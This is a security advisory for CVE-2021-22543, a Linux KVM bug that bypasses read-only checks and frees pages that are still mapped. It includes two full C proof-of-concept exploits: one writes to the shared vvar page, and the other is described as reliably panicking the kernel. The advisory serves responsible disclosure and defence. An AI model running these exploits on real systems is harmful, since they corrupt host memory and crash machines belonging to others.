Linux: KVM VM_IO|VM_PFNMAP vma mishandling

Moderate **sirdarckcat** published **GHSA-7wq5-phmq-m584** on May 18, 2021

Package

Linux Kernel

Affected versions	Patched versions
>=4.8 (add6a0cd1c5ba51b201e1361b05a5df817083618)	f8be156be163a052a067306417cd0ff679068c97

Description

Summary

Improper handling of VM_IO|VM_PFNMAP vmas in KVM can bypass RO checks and can lead to pages being freed while still accessible by the VMM and guest.

Severity

Moderate - On some systems, allows users with the ability to start and control a VM to read/write random pages of memory.

Proof of Concept

vvar_write.c

Compile the code below using `gcc -o vvar_write vvar_write.c`. Running the code once will show that the vvar page is modified, and running it a second time will show the modification affects other processes.

```
/* @author Jann Horn
 * at https://elixir.bootlin.com/linux/v5.10.11/source/arch/x86/entry/vdso/vma.c#L297 we map the
 * VVAR page of the VDSO, which contains a struct vdso_data
 * (https://elixir.bootlin.com/linux/v5.10.11/source/include/vdso/datapage.h#L90) that contains
 * information about clock offsets and such (to allow ring 3 to figure out the current time using
 * RDTSC without switching to kernel mode). this page is shared across the entire system so that if
 * the clock offset changes, it only has to be changed in one central location. the VVAR page is
 * marked VM_IO so that the get_user_pages machinery keeps its paws off that page. but KVM's
 * hva_to_pfn() is AFAICS going to first try get_user_pages, that will fail, then it notices that
 * the VMA is VM_IO, goes down the hva_to_pfn_remapped path, and then I think that thing just grabs
 * the PFN with follow_pfn and forces the writable flag to true even though the PFN is read-only...
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/kvm.h>

/* for real mode */
static __attribute__((aligned(4096))) char guest_code[0x1000] = {
  0x89, 0x35, /* mov [di],si */
  0xcc, /* int3 */
};

static void create_region(int vm, int slot, unsigned long guest_phys, unsigned long host_addr, unsigned long size) {
  struct kvm_userspace_memory_region region = {
    .slot = slot,
    .guest_phys_addr = guest_phys,
    .memory_size = size,
    .userspace_addr = host_addr
  };
  if (ioctl(vm, KVM_SET_USER_MEMORY_REGION, &region))
    err(1, "set region %d", slot);
}

int main(void) {
  FILE *mapsfile = fopen("/proc/self/maps", "r");
  if (mapsfile == NULL)
    err(1, "open maps");
  unsigned long vvar_addr;
  while (1) {
    char buf[4096];
    errno = 0;
    if (fgets(buf, sizeof(buf), mapsfile) == NULL)
      err(1, "fgets maps EOF or error");
    if (strstr(buf, "[vvar]") == NULL)
      continue;
    vvar_addr = strtoul(buf, NULL, 16);
    break;
  }
  printf("vvar is at 0x%lx\n", vvar_addr);
  printf("testing read of first vvar page at offset 0xf00: 0x%lx\n", *(unsigned long *)(vvar_addr + 0xf00));

  int kvm = open("/dev/kvm", O_RDWR);
  if (kvm == -1)
    err(1, "open kvm");
  int mmap_size = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, 0);
  if (mmap_size == -1)
    err(1, "KVM_GET_VCPU_MMAP_SIZE");

  int vm = ioctl(kvm, KVM_CREATE_VM, 0);
  if (vm == -1)
    err(1, "create vm");
  if (ioctl(vm, KVM_SET_TSS_ADDR, 0x10000000UL))
```

```
    err(1, "KVM_SET_TSS_ADDR");
  create_region(vm, 0, 0x0, (unsigned long)guest_code, 0x1000);
  create_region(vm, 1, 0x1000, vvar_addr, 0x1000);

  int vcpu = ioctl(vm, KVM_CREATE_VCPU, 0);
  if (vcpu == -1)
    err(1, "create vcpu");
  struct kvm_run *vcpu_state = mmap(NULL, mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpu, 0);
  if (vcpu_state == MAP_FAILED)
    err(1, "mmap vcpu");

  struct kvm_sregs sregs;
  if (ioctl(vcpu, KVM_GET_SREGS, &sregs))
    err(1, "KVM_GET_SREGS");
  sregs.cs.selector = 0;
  sregs.cs.base = 0;
  struct kvm_regs regs = {
    .rdi = 0x1f00,
    .rsi = 0xf00d,
    .rip = 0x0,
    .rflags = 2
  };
  if (ioctl(vcpu, KVM_SET_SREGS, &sregs))
    err(1, "set sregs");
  if (ioctl(vcpu, KVM_SET_REGS, &regs))
    err(1, "set regs");

  if (ioctl(vcpu, KVM_RUN, 0))
    err(1, "run vcpu");
  printf("exit_reason = %d\n", vcpu_state->exit_reason);
  if (vcpu_state->exit_reason == KVM_EXIT_FAIL_ENTRY) {
    printf("KVM_EXIT_FAIL_ENTRY happened: hardware_entry_failure_reason = 0x%lx\n",
           (unsigned long)vcpu_state->fail_entry.hardware_entry_failure_reason);
  }

  printf("testing read of first vvar page at offset 0xf00: 0x%lx\n", *(unsigned long *)(vvar_addr + 0xf00));
}
```

kernel_write.c

Compile the code below using `gcc -o kernel_write kernel_write.c`. What exactly happens when running the code depends on what the improperly freed page is reallocated for. Running 100 instances in parallel should reliably cause a kernel panic within a few seconds.

```
/* @author Jann Horn */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/kvm.h>

/* for real mode */
static __attribute__((aligned(4096))) char guest_code[0x1000] = {
  0x89, 0x35, /* mov [di],si */
  0xcc, /* int3 */
};

static void create_region(int vm, int slot, unsigned long guest_phys, unsigned long host_addr, unsigned long size) {
  struct kvm_userspace_memory_region region = {
    .slot = slot,
    .guest_phys_addr = guest_phys,
    .memory_size = size,
    .userspace_addr = host_addr
  };
  if (ioctl(vm, KVM_SET_USER_MEMORY_REGION, &region))
    err(1, "set region %d size=0x%lx", slot, size);
}

int main(void) {
  sync(); /* in case we're about to panic the kernel... */

  char *usb_path = "/dev/bus/usb/001/001";
  int usb_fd = open(usb_path, O_RDONLY);
  if (usb_fd == -1)
    err(1, "open '%s'", usb_path);
  char *usb_mapping = mmap(NULL, 0x2000, PROT_READ, MAP_SHARED, usb_fd, 0);
  if (usb_mapping == MAP_FAILED)
    err(1, "mmap 2 pages from usb device");

  int kvm = open("/dev/kvm", O_RDWR);
  if (kvm == -1)
    err(1, "open kvm");
  int mmap_size = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, 0);
  if (mmap_size == -1)
    err(1, "KVM_GET_VCPU_MMAP_SIZE");

  int vm = ioctl(kvm, KVM_CREATE_VM, 0);
  if (vm == -1)
    err(1, "create vm");
  if (ioctl(vm, KVM_SET_TSS_ADDR, 0x10000000UL))
    err(1, "KVM_SET_TSS_ADDR");
  create_region(vm, 0, 0x0, (unsigned long)guest_code, 0x1000);

  int vcpu = ioctl(vm, KVM_CREATE_VCPU, 0);
  if (vcpu == -1)
    err(1, "create vcpu");
  struct kvm_run *vcpu_state = mmap(NULL, mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpu, 0);
  if (vcpu_state == MAP_FAILED)
    err(1, "mmap vcpu");

  while (1) {
    create_region(vm, 1, 0x1000, (unsigned long)usb_mapping+0x1000, 0x1000);
    struct kvm_sregs sregs;
    if (ioctl(vcpu, KVM_GET_SREGS, &sregs))
      err(1, "KVM_GET_SREGS");
    sregs.cs.selector = 0;
    sregs.cs.base = 0;
```

```
        struct kvm_regs regs = {
          .rdi = 0x1f00,
          .rsi = 0xf00d,
          .rip = 0x0,
          .rflags = 2
        };
        if (ioctl(vcpu, KVM_SET_SREGS, &sregs))
          err(1, "set sregs");
        if (ioctl(vcpu, KVM_SET_REGS, &regs))
          err(1, "set regs");

        if (ioctl(vcpu, KVM_RUN, 0))
          err(1, "run vcpu");
        printf("exit_reason = %d\n", vcpu_state->exit_reason);
        if (vcpu_state->exit_reason == KVM_EXIT_FAIL_ENTRY) {
          printf("KVM_EXIT_FAIL_ENTRY happened: hardware_entry_failure_reason = 0x%1x\n",
                 (unsigned long)vcpu_state->fail_entry.hardware_entry_failure_reason);
        }
        create_region(vm, 1, 0, 0, 0);
      }
    }
```

Further Analysis

The issue is in how KVM handles mapping certain types of host memory into the guest. Most of the time, KVM uses get_user_pages to translate the host virtual address to the page it needs to map into the guest. However, get_user_pages will fail if the address lies in a vma with the VM_IO or VM_PFNMAP flag set (checked in check_vma_flags [1]). KVM handles that failure by using follow_pfn to fetch the page directly from the vma [2]. If those pages do not have the PG_reserved bit set, KVM proceeds to treat them as normal pages [3], and will call getpage/putpage on them. However, reference counting on the pages might not be set up to handle this - for example, tail pages of the higher order pages allocated in ttm_pool_alloc_page [4]. Such pages can end up being freed by the call to putpage at the end of the guest page fault, even though the guest and host still reference the page.

[1] https://github.com/torvalds/linux/blob/d635a69dd4981cc51f90293f5f64268620ed1565/mm/gup.c#L886
[2] https://github.com/torvalds/linux/blob/d635a69dd4981cc51f90293f5f64268620ed1565/virt/kvm/kvm_main.c#L1981
[3] https://github.com/torvalds/linux/blob/d635a69dd4981cc51f90293f5f64268620ed1565/virt/kvm/kvm_main.c#L174
[4] https://github.com/torvalds/linux/blob/f78d76e72a4671ea52d12752d92077788b4f5d50/drivers/gpu/drm/ttm/ttm_pool.c#L83

Timeline

Date reported: 2021-02-01 to kernel.org
Date fixed: RO bypass fixed on 2021-02-04. Improper freeing of pages fixed on 2021-06-26.
Date disclosed: 2021-05-18

Severity

Moderate

CVE ID

CVE-2021-22543

Weaknesses

No CWEs

Credits

dgstevens
thejh
fluxchief